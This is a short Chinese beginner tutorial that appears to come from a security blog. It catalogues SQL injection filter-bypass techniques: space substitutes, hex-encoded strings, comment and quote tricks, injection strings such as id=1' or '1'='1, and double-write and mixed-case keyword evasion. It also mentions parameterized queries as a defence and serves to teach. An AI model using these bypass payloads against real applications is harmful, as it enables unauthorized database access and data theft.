网安入门09-Sql注入(绕过方法梳理)

ByPass

SQL注入ByPass是指攻击者通过各种手段绕过应用程序中已经实施的SQL注入防御措施,例如输入恶意数据、修改请求头等方式,绕过过滤、转义、限制等操作,从而成功地执行恶意SQL语句。攻击者使用SQL注入ByPass技术可以让应用程序的防御措施失效,使得SQL注入攻击成功。因此,防范SQL注入攻击需要采取综合的安全措施,包括正确的SQL语句编写、使用参数化查询、限制用户输入、过滤和转义特殊字符等。

绕过空格

替换说明
/**/内联注释符
%a0URL编码
%09php里会被当作Tab键
%0aphp里会被当作换行键
()括号
+加号

绕过 引号" table_name=“users”

  1. 使用16进制编码

    Hex编码/解码 - 107000

  2. 使用拼接字符串
    例如将"username"替换'username'+' '

绕过 逗号, Substr(database(),1,1)

用from,for绕过 select substr(database() from 1 for 1);

另外,如果substr被过滤,可以用mid()来代替, 还可以用right(),left()

绕过 大于号小于号>< ascill(substr(database(),0,1))>

  1. 用greatest(),least() 绕过(前者返回最大值,后者返回最小值)
    greatest(ascill(substr(database(),0,1)),64)=64
  2. 或者用between a and z来返回a与z之间的数据不包括z

绕过注释符 # --+ – -

  1. %23 (#的URL编码)
  2. 或者通过闭合后面的引号来进行绕过
  3. id=1' union select 1,2,'3
  4. id=1' or '1'='1

绕过 等于号 =

  1. 使用大于号小于号
  2. like MySQL里的模糊查询
  3. rlike
  4. regexp 正则表达式

绕过 union select where 关键字

例如 sqlilabs less25

  1. 双写绕过 uniunionon

  2. U//NION//SE/**/LECT (成功率较低)

  3. 大小写绕过 UniOn aNd

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

挑不动

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值